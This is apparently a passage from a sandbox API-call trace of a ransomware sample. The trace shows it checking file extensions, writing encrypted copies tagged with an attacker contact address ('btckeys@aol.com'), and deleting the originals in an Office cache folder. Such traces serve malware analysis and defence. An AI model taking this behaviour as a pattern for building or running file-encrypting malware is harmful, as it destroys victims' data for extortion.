lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0081.122] lstrlenW (lpString=".rar") returned 4 [0081.122] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0081.122] lstrlenW (lpString=".bz2") returned 4 [0081.122] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0081.122] lstrlenW (lpString=".7z") returned 3 [0081.122] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0081.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.122] lstrlenW (lpString=".dbf") returned 4 [0081.122] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0081.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.122] lstrlenW (lpString=".1cd") returned 4 [0081.122] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0081.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.122] lstrlenW (lpString=".jpg") returned 4 [0081.122] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0081.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.123] lstrlenW (lpString=".doc") returned 4 [0081.123] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0081.123] lstrlenW (lpString=".docx") returned 5 [0081.123] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0081.123] lstrlenW (lpString=".pdf") returned 4 [0081.123] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0081.123] lstrlenW (lpString=".xls") returned 4 [0081.123] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0081.123] lstrlenW (lpString=".xlsx") returned 5 [0081.123] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0081.123] lstrlenW (lpString=".ppt") returned 4 [0081.123] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0081.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.123] lstrlenW (lpString=".zip") returned 4 [0081.123] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0081.123] lstrlenW (lpString=".rar") returned 4 [0081.123] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0081.123] lstrlenW (lpString=".bz2") returned 4 [0081.123] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0081.123] lstrlenW (lpString=".7z") returned 3 [0081.123] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0081.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.123] lstrlenW (lpString=".dbf") returned 4 [0081.123] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0081.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.123] lstrlenW (lpString=".1cd") returned 4 [0081.124] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0081.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.124] lstrlenW (lpString=".jpg") returned 4 [0081.124] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0081.124] lstrcmpiW (lpString1=".exe", lpString2=".2020") returned 1 [0081.124] lstrlenW (lpString="ose.exe") returned 7 [0081.124] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0081.359] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=174440) returned 1 [0081.359] CloseHandle (hObject=0x1e0) returned 1 [0081.362] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0081.377] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.377] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0081.377] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.377] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.377] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0081.397] GetLastError () returned 0x0 [0081.397] ReadFile (in: hFile=0x1e0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x2a968, lpOverlapped=0x0) returned 1 [0081.435] WriteFile (in: hFile=0x210, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0081.440] ReadFile (in: hFile=0x1e0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0081.440] WriteFile (in: hFile=0x210, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xe2, lpOverlapped=0x0) returned 1 [0081.440] SetEndOfFile (hFile=0x210) returned 1 [0081.440] CloseHandle (hObject=0x210) returned 1 [0081.440] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.440] SetEndOfFile (hFile=0x1e0) returned 1 [0081.443] CloseHandle (hObject=0x1e0) returned 1 [0081.443] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0081.443] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0081.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0081.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0081.443] lstrlenW (lpString=".doc") returned 4 [0081.443] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0081.443] lstrlenW (lpString=".docx") returned 5 [0081.443] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0081.443] lstrlenW (lpString=".pdf") returned 4 [0081.444] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0081.444] lstrlenW (lpString=".xls") returned 4 [0081.444] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0081.444] lstrlenW (lpString=".xlsx") returned 5 [0081.444] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0081.444] lstrlenW (lpString=".ppt") returned 4 [0081.444] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0081.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0081.444] lstrlenW (lpString=".zip") returned 4 [0081.444] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0081.444] lstrlenW (lpString=".rar") returned 4 [0081.444] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0081.444] lstrlenW (lpString=".bz2") returned 4 [0081.444] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0081.444] lstrlenW (lpString=".7z") returned 3 [0081.444] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0081.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0081.444] lstrlenW (lpString=".dbf") returned 4 [0081.444] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0081.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0081.444] lstrlenW (lpString=".1cd") returned 4 [0081.444] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0081.444] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0081.444] lstrlenW (lpString=".jpg") returned 4 [0081.444] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0081.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0081.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0081.445] lstrlenW (lpString=".doc") returned 4 [0081.445] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0081.445] lstrlenW (lpString=".docx") returned 5 [0081.445] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0081.445] lstrlenW (lpString=".pdf") returned 4 [0081.445] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0081.445] lstrlenW (lpString=".xls") returned 4 [0081.445] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0081.445] lstrlenW (lpString=".xlsx") returned 5 [0081.445] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0081.445] lstrlenW (lpString=".ppt") returned 4 [0081.445] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0081.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0081.445] lstrlenW (lpString=".zip") returned 4 [0081.445] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0081.445] lstrlenW (lpString=".rar") returned 4 [0081.445] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0081.445] lstrlenW (lpString=".bz2") returned 4 [0081.445] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0081.445] lstrlenW (lpString=".7z") returned 3 [0081.445] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0081.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0081.445] lstrlenW (lpString=".dbf") returned 4 [0081.445] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0081.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0081.445] lstrlenW (lpString=".1cd") returned 4 [0081.446] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0081.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0081.446] lstrlenW (lpString=".jpg") returned 4 [0081.446] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0081.446] lstrcmpiW (lpString1=".dll", lpString2=".2020") returned 1 [0081.446] lstrlenW (lpString="osetup.dll") returned 10 [0081.446] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0081.446] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=7378792) returned 1 [0081.446] CloseHandle (hObject=0x1e0) returned 1 [0081.447] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0081.447] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.447] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0081.447] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0081.448] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0081.448] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0081.448] ReadFile (in: hFile=0x1e0, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0081.695] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0081.695] ReadFile (in: hFile=0x1e0, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0081.705] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0081.705] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0081.705] ReadFile (in: hFile=0x1e0, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0082.078] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0082.078] WriteFile (in: hFile=0x1e0, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0082.089] SetEndOfFile (hFile=0x1e0) returned 1 [0083.204] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa0 [0083.207] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0083.207] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0083.209] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0083.210] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0083.212] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0083.212] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0083.214] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa0 | out: hHeap=0x4b0000) returned 1 [0083.214] CloseHandle (hObject=0x1e0) Thread: id = 14 os_tid = 0xba8 [0060.798] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3870260 [0060.799] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3880268 [0060.799] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500398 [0060.799] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x5030b8 [0060.799] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5003b0 [0060.799] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3a70020 [0060.799] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5003c8 [0060.799] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5003c8, Size=0x20) returned 0x52f910 [0060.799] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5003c8 [0060.799] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5003c8, Size=0x20) returned 0x52f938 [0060.799] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0060.800] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0060.800] Wow64DisableWow64FsRedirection (in: OldValue=0x2eeff58 | out: OldValue=0x2eeff58*=0x0) returned 1 [0060.800] lstrlenW (lpString="kernel32.dll") returned 12 [0060.800] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52f910 | out: hHeap=0x4b0000) returned 1 [0060.800] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.800] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52f938 | out: hHeap=0x4b0000) returned 1 [0060.800] Sleep (dwMilliseconds=0x64) [0061.028] Sleep (dwMilliseconds=0x64) [0061.387] Sleep (dwMilliseconds=0x64) [0062.383] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0062.383] lstrlenW (lpString="ExcelMUI.xml") returned 12 [0062.384] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0062.597] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1565) returned 1 [0062.598] CloseHandle (hObject=0x180) returned 1 [0062.598] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 0x2020 [0062.598] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0062.598] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0062.598] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0062.608] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0062.608] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0062.880] GetLastError () returned 0x0 [0062.880] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x61d, lpOverlapped=0x0) returned 1 [0062.892] WriteFile (in: hFile=0x18c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x620, lpOverlapped=0x0) returned 1 [0062.893] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0062.893] WriteFile (in: hFile=0x18c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.893] SetEndOfFile (hFile=0x18c) returned 1 [0062.893] CloseHandle (hObject=0x18c) returned 1 [0062.895] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0062.895] SetEndOfFile (hFile=0x180) returned 1 [0062.897] CloseHandle (hObject=0x180) returned 1 [0062.897] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0062.897] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml")) returned 1 [0062.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0062.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0062.897] lstrlenW (lpString=".doc") returned 4 [0062.897] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.898] lstrlenW (lpString=".docx") returned 5 [0062.898] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0062.898] lstrlenW (lpString=".pdf") returned 4 [0062.898] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.898] lstrlenW (lpString=".xls") returned 4 [0062.898] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.898] lstrlenW (lpString=".xlsx") returned 5 [0062.898] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0062.898] lstrlenW (lpString=".ppt") returned 4 [0062.898] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0062.898] lstrlenW (lpString=".zip") returned 4 [0062.898] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.898] lstrlenW (lpString=".rar") returned 4 [0062.898] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.898] lstrlenW (lpString=".bz2") returned 4 [0062.898] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.898] lstrlenW (lpString=".7z") returned 3 [0062.898] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0062.898] lstrlenW (lpString=".dbf") returned 4 [0062.898] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml") returned 75 [0062.898] lstrlenW (lpString=".1cd") returned 4 